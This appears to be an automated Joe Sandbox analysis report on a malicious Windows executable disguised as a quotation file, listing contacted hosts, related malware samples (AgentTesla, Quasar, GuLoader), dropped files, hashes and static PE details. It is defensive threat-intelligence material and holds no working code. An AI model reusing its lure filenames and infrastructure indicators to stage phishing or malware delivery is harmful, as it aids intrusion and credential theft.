http://ip-api.com	AddInProcess32.exe, 00000004.00000002.4171451807.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.254.225.136	ercolina-usa.com	United States	46606	UNIFIEDLAYER-AS-1US	true
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548264
Start date and time:	2024-11-04 09:28:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QUOTATION#09678.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@11/10@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 90% Number of executed functions: 59 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 20.189.173.21
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: QUOTATION#09678.exe

Simulations

Behavior and APIs

Time	Type	Description
03:29:06	API Interceptor	11403726x Sleep call for process: AddInProcess32.exe modified
03:29:06	API Interceptor	16x Sleep call for process: powershell.exe modified
03:29:21	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.254.225.136	PURCHASE SPCIFICIATIONS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	LISTA DE COTIZACIONES.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	QUOTATION#5400.exe	Get hash	malicious	AgentTesla	Browse
	QUOTATION#2800-QUANTUM MACTOOLS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	QUOTATION#2800-QUANTUM MACTOOLS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	2JHGWjmJ46.exe	Get hash	malicious	AgentTesla	Browse
	COTIZACI#U00d3N#08673.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	vD6qU34v9S.exe	Get hash	malicious	AgentTesla	Browse
	QUOTATIONS#08673.exe	Get hash	malicious	AgentTesla	Browse
	QUOTATIONS#08673.exe	Get hash	malicious	AgentTesla	Browse
208.95.112.1	MVPloader.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/line/?fields=hosting
	MVPloader.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/line/?fields=hosting
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	ip-api.com/json
	file.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json
	4hrQ9TIhLv.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	FfmnGBw0Y6.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	aYLsj8zqvn.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	ip-api.com/json/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	MVPloader.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	MVPloader.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	4hrQ9TIhLv.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
	FfmnGBw0Y6.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	aYLsj8zqvn.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
api.ipify.org	Payslip_October_2024_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	V7FWuG5Lct.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	7ll96oOSBF.exe	Get hash	malicious	Quasar	Browse	104.26.12.205
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	104.26.12.205
	Ordine d'acquisto OI16014 e OI1601.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://v90hdblg6c012.b-cdn.net/ppo45-fill-captch.html	Get hash	malicious	LummaC	Browse	104.26.12.205
	SecuriteInfo.com.Win32.Malware-gen.1695.31617.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	8RuktpEZ8Q.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win64.CrypterX-gen.2448.5331.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	SecuriteInfo.com.Win64.CrypterX-gen.23557.8276.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIFIEDLAYER-AS-1US	mpsl.elf	Get hash	malicious	Mirai	Browse	162.215.45.6
	na.elf	Get hash	malicious	Mirai	Browse	98.131.204.215
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	142.5.109.37
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	162.240.81.18
	TROODOS AIR PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.144.157
	COSCO SHIPPING WISDOM VESSEL DETAILS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.144.157
	https://docsend.com/view/yvdhrcvq4c4p7xrd	Get hash	malicious	HTMLPhisher	Browse	192.185.25.60
	w9ap9yNeCb.exe	Get hash	malicious	AgentTesla	Browse	192.185.13.234
	https://woobox.com/sf4hxr	Get hash	malicious	HTMLPhisher	Browse	50.116.86.34
	https://hotmail.cdisaomiguel.com.br	Get hash	malicious	Unknown	Browse	108.179.193.134
TUT-ASUS	MVPloader.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	MVPloader.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	4hrQ9TIhLv.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
	FfmnGBw0Y6.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	aYLsj8zqvn.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	Request for Quotation MK FMHSRFQ241104.vbe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Permintaan Untuk Sebutharga RFQ 087624_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Permintaan Untuk Sebutharga RFQ 087624.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Request for Quotation MK FMHSRFQ241104.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Request for Quotation_MYMRT.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DHL9407155789.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Advice-Ref[A22D4YdWsbE4].xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	172.67.159.147
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Fattura88674084.vbs	Get hash	malicious	Unknown	Browse	172.67.74.152
	givingbestthignswithgreatheatcaptialthingstodo.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	172.67.74.152
	Request for Quotation MK FMHSRFQ241104.vbe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
	Permintaan Untuk Sebutharga RFQ 087624_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
	Purchase order.vbs	Get hash	malicious	Unknown	Browse	172.67.74.152
	Permintaan Untuk Sebutharga RFQ 087624.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
	EE85716273#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.74.152
	Request for Quotation MK FMHSRFQ241104.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
	Request for Quotation_MYMRT.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.74.152
	NTS_eTaxInvoice.vbs	Get hash	malicious	Unknown	Browse	172.67.74.152

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_QUOTATION#09678._b7f45236532ada1ff685acd64dd43e177d7657_ab0f4f5a_06831e9c-b9ba-4286-ba94-15da75c0c876\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1607466470866992
Encrypted:	false
SSDEEP:	192:jbkYN+FLU50UnUlaWhs0yc8mIdzuiFiZ24lO8pBH:/7sFdUnUlaus0vIzuiFiY4lO8p
MD5:	DAC6D6E5F944C9CA9E8BE5727523E280
SHA1:	0F18375AB186010D0C1F03C5826668664C88D1D7
SHA-256:	9DCBF352612D25BBE4004BA16C8DC09CFB6367D5CD77896B6549F2FBCC0E3D2A
SHA-512:	502E374AC6F06F57EDFD62F4C4A6AD1AB6EE5E8F337E976BD06E5646C115273B4811442623D87A91368B0EF9724FDDE87B00F03303A988E387FF581F5CC86707
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.1.8.2.5.4.5.6.0.6.9.9.6.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.1.8.2.5.4.6.3.2.5.7.3.4.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.8.3.1.e.9.c.-.b.9.b.a.-.4.2.8.6.-.b.a.9.4.-.1.5.d.a.7.5.c.0.c.8.7.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.3.2.f.b.9.c.d.-.2.a.2.2.-.4.4.b.0.-.b.e.0.4.-.3.a.d.0.c.7.4.b.f.c.b.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.Q.U.O.T.A.T.I.O.N.#.0.9.6.7.8...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.D.w.r.q.w.s.a.r.w.q...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.5.0.-.0.0.0.1.-.0.0.1.4.-.a.2.7.e.-.a.b.9.a.9.3.2.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.4.b.5.8.4.4.f.f.1.6.d.7.c.c.1.9.3.9.c.7.b.6.3.a.2.0.c.1.6.e.8.0.0.0.0.0.0.0.0.!.0.0.0.0.b.d.0.5.a.7.1.8.4.5.6.b.3.e.0.e.5.8.7.f.e.a.c.7.a.0.a.4.b.2.3.7.3.4.c.0.f.e.6.d.!.Q.U.O.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER116B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8816
Entropy (8bit):	3.7145660801464437
Encrypted:	false
SSDEEP:	192:R6l7wVeJCZKy6Y9PxaC5gmfv6Jltrpr189b/aKT+fwhVm:R6lXJ5y6Y1xaC5gmfviltk/aKqfwq
MD5:	4F73D9214635E3548928D5AA6A623A36
SHA1:	6F42EBF191D720BCDDE41FE0C331E5F09F49BF7A
SHA-256:	7022F1FB0A4636ECC7FE83173B52B4C8939CAF4D290546D5DF7384F94B1FD4E3
SHA-512:	FD7BEB7F567002C983E75C2BA30549623C72F21BF67D4AD3ADAA2F92FDE197AB86F65773BA288618DD2781EA3E39ED150074CACE18DF03EABA264FDB21495674
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.1.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER11CA.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4788
Entropy (8bit):	4.549323632855704
Encrypted:	false
SSDEEP:	48:cvIwWl8zszLJg771I9adWpW8VYVFYm8M4JhQLAFpfyq859Eo7+0f0NHd:uIjfzlI7hs7VnJhQke17+0f0NHd
MD5:	AD07BCEB9252439BBD1C81F4B2535A9E
SHA1:	DF51C73D0FFBB63E86A397A11D27A3603AF8F6F2
SHA-256:	C1D7CE9124DCFF4630F2B8C9B228C6B178914FED23483B0759F92A03485BBAF3
SHA-512:	05DD1EDCEE42CAF15B7051A13D039DA7E31B57D952FC27CBAA499E8149E58C702617A82E0C1213095CB84D8E38F6285A911FB412440338DAA1A786BA11A350B2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="573091" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF85.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Mon Nov 4 08:29:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	468081
Entropy (8bit):	3.253177871890506
Encrypted:	false
SSDEEP:	3072:TBWWD13aA25n3+vq3dk41UQcS/I5eOPePBn1CCqzllCFzyz:TIWW3QqdkQ/LOQBXq
MD5:	EAECDDB61EF0DE476D3D5ADEC0652980
SHA1:	7613CA00C9C28B1005BB555496196D77EC3532F0
SHA-256:	6EDD1EB460DFCA848B6E8966B8B63B619A0534F37EC350E9B78EE01899C086E4
SHA-512:	B572E2729F2ED594792B8232DE62D12E8B7983D59E27865C8FCF086A0AC120C0C17CC9D57DED1B212A8982E85E2C603EE6EDFF86D3773B8D26B910D5F0A109ED
Malicious:	false
Preview:	MDMP..a..... ........(g............t.......................$...p%......0....%.......K..>...........l.......8...........T...........P8..!............B...........D..............................................................................eJ......HE......Lw......................T.......P....(g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ammgx2j.24r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2yw4jnr.qy2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kv2jtvwm.0ov.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tjseab1j.e44.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465784529279408
Encrypted:	false
SSDEEP:	6144:YIXfpi67eLPU9skLmb0b4RWSPKaJG8nAgejZMMhA2gX4WABl0uNwdwBCswSbh:NXD94RWlLZMM6YFHy+h
MD5:	2EC80E80F882CC6BF9B960B158D88173
SHA1:	9C20D74C097681EF55E380A6CF62D050A4AA6CAC
SHA-256:	DD663FCA93AA9A121B495DA98995CB0ACD1DBB167DC7F0B92F995B4C03E7ABC1
SHA-512:	786AC11F53CE9C137DCC89F4534BD1289155CEECC303C404A5AFB8CD7C9FBFBACBD8F6B70C4881214C2EC8C3CFB6E356FF522A09C5965BC54A2B749532FD3405
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.*...................................................................................................................................................................................................................................................................................................................................................=.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.094479328043646
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	QUOTATION#09678.exe
File size:	2'313'878 bytes
MD5:	b415558b19c70c201f8787e507d09b93
SHA1:	bd05a718456b3e0e587feac7a0a4b23734c0fe6d
SHA256:	00a3e3e129b127e288fb531581c3c580679423db15464585798d07465b03944d
SHA512:	c9649a68455b680c130b22ffbc091cd5fa4ea0287cce40380f477259ee2e6cafe71573ec33a53dc670350363e0cb57e00e2fd88c882065b2fe850e2c8e1a688c
SSDEEP:	12288:PUvalbeOsrF4OwVyZdSp/oSKEJgvsMPeohmlbz6gTd9IevVGFm1sM2v:PBlbcguE3eeNYgT7B2esMe
TLSH:	B1B5774A7C57AC13BC108663E5E576FE12FE1C4BBCF5924FCF69AE45822A5BE0022570
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...X.$g.........."...0.J$............... ....@...... ................................#...`................................

File Icon


Icon Hash:	443ad8d4dc581348

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6724F658 [Fri Nov 1 15:40:08 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x10ed6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x244a	0x2600	9143e272d0a05dc07c93e3606b5a22f6	False	0.5835731907894737	data	5.992231576187486	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x10ed6	0x11000	e73984eaa0464f84dd70e9349e5325af	False	0.06192555147058824	data	3.2001647843440497	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6144	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2834 x 2834 px/m	0.05199337513308885
RT_GROUP_ICON	0x1696c	0x14	data	1.15
RT_VERSION	0x16980	0x36c	data	0.410958904109589
